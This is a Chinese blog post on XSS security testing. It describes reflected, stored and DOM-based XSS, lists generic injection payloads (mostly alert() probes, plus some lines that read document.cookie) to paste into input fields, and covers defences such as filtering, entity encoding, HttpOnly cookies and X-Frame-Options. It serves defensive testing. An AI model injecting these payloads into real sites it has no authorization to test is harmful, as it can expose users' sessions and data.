安全测试-xss攻击 通用测试用例

一、什么是XSS

XSS全称是Cross Site Scripting即跨站脚本,当目标网站目标用户浏览器渲染HTML文档的过程中,出现了不被预期的脚本指令并执行时,XSS就发生了。

二、xss攻击分类


第一种:反射型
页面仅把用户输入直接回显在页面或源码中,需要诱使用户点击才能成功。
第二种:持久型
XSS 攻击代码会被存储在服务器中,由于用户可能会主动浏览被攻击页面,此种方法危害较大。
第三种:DOM 型( DOM Based XSS )
通过修改页面的 DOM 节点形成 XSS,严格来讲也可划为反射型 XSS。

三、xss攻击常见case

 

(1)<script>alert('XSS')</script>                      //简单弹框
(2)<ScRiPt>AlErt('XSS')</ScRiPt>                      //过滤了大小
(3)<img src="#" onerror=alert("XSS")>                //img 标签 进行绕过
(4)javascript:alert('xss')                          //使用 Javascript 的尾协议
(5)' onclick=' alert("xss")                        //利用 href 属性值来进行xss

四、通用的xss测试用例

如下:

★~!@#$%^&*()_+<>,./?;'"[]{}-
★%3Cinput /%3E
★%3Cscript%3Ealert('XSS1')%3C/script%3E
★<input type="text"/>
★<input/>
★<input/  
★<script>alert('xss2')</script>
★<script>alert('xss3');</script>
★</script><script>alert(‘xss4’)</script>
★javascript:alert(/xss5/)
★javascript:alert(/xss6/)
★<img src="#" onerror=alert(/xss7/)> 
★<img src="#" style="Xss:expression(alert(/xss8/));"> 
★<img src="#"/**/onerror=alert(/xss9/) width=100>
★=’><script>alert(document.cookie)</script> 
★1.jpg" onmouseover="alert('xss10')
★"></a><script>alert(‘xss11’);</script>
★http://xxx';alert('xss12');var/ a='a
★’”>xss&<
★"onmouseover=alert('hello');"
★&{alert('hello');}
  ★>"'><script>alert(‘XSS13')</script>
  ★>%22%27><img%20src%3d%22javascript:alert(%27XSS14%27)%22>
★>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;
%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS15%26quot;)>
  ★AK%22%20style%3D%22background:url(javascript:alert(%27XSS16%27))%22%20OS%22
  ★%22%2Balert(%27XSS17%27)%2B%22
  ★<table background="javascript:alert(([code])"></table>
  ★<object type=text/html data="javascript:alert(([code]);"></object>
  ★<body onload="javascript:alert(([code])"></body>
  ★a?<script>alert(’Vulnerable’)</script>
★<!--'">&:
var from = ‘$!rundata.Parameters.getString(’from’)';
var from = ”;hackerFunction(document.cookie);”;

遇到有输入框的地方,例如评论框,发表内容入口等,把以上所有内容全部copy进去。
这样做的作用是:初步判断前端是否做了统一的html输入的处理。

你可能会得到这样的内容:

xss注入



上面的bug是以下这段被注入了,前端没有针对具体的html标签转义。属于反射性xss攻击。

%3Cinput /%3E
%3Cscript%3Ealert('XSS1')%3C/script%3E
<input type="text"/>
<input/>
<input/

 

五、测试策略


关注前后端开发的方案,分别从以下几个方面看,是否有如下针对性的XSS防御:

1、使用 XSS Filter

关注开发方案中,是否针对用户提交的数据进行有效的验证,只接受我们规定的长度或内容的提交,过滤掉其他的输入内容。比如:


表单数据指定值的类型:年龄只能是 int 、name 只能是字母数字等。

过滤或移除特殊的 html 标签:<script>、<iframe>等。

过滤 js 事件的标签:onclick、onerror、onfocus等。

校验点:
1>. 前端处理方式,比如对script标签,将特殊字符替换成HTML编码这些等。

2>.后端需要对提交的数据进行过滤。

 

2、html 实体

是否对不可信数据进行 HTML Entity 编码

HTML 实体是一段以连字号(&)开头、以分号(;)结尾的文本(字符串)。在 html 中有些字符对于 HTML 来说是具有特殊意义的,所以这些特殊字符不允许在文本中直接使用,需要使用实体字符。

html 实体的存在是导致 XSS 漏洞的主要愿意之一,因此我们需要将实体转化为相应的实体编号。

一般为了避免 XSS 攻击,会将 <> 编码为 &lt; 与 &gt;,这些就是 HTML 实体编码。

校验点:
1>、<>等6个字符,所见即所得,怎么输入的怎么展示,不能丢失,不能显示转义后的内容。

 

3、JavaScript编码

这条原则主要针对动态生成的JavaScript代码,这包括脚本部分以及HTML标签的事件处理属性(如onerror, onload等)。
在往JavaScript代码里插入数据的时候,只有一种情况是安全的,那就是对不可信数据进行JavaScript编码。

可能要关注的点:
在对不可信数据做编码的时候,不能图方便使用反斜杠\ 对特殊字符进行简单转义,比如将双引号 ”转义成 \”,这样做是不可靠的,因为浏览器在对页面做解析的时候,会先进行HTML解析,然后才是JavaScript解析,
所以双引号很可能会被当做HTML字符进行HTML解析,这时双引号就可以突破代码的值部分,使得攻击者可以继续进行XSS攻击;

校验点:

1>、所见即所得,怎么输入的怎么展示,不能丢失,不能显示转义后的内容。

4、Http Only cookie

许多 XSS 攻击的目的就是为了获取用户的 cookie,将重要的 cookie 标记为 http only,
这样的话当浏览器向服务端发起请求时就会带上 cookie 字段,但是在脚本中却不能访问 cookie,
这样就避免了 XSS 攻击利用 js 的 document.cookie获取 cookie。

HttpOnly是cookie里面一个属性,假如在cookie里面设置了HttpOnly这个属性,那么JavaScript将无法访问到我们到cookie,
但是这个方法也只能是防御cookie劫持。


5、X-Frame-Options配置:

低危漏洞- X-Frame-Options Header未配置X-Frame-Options 响应头
X-Frame-Options HTTP 响应头是用来给浏览器指示允许一个页面可否在 <frame>, </iframe> 或者 <object> 中展现的标记。
网站可以使用此功能,来确保自己网站的内容没有被嵌到别人的网站中去,也从而避免了点击劫持 (clickjacking) 的攻击。

posted @ 2023-12-12 11:20  晴朗Alisa  阅读(66)  评论(0编辑  收藏  举报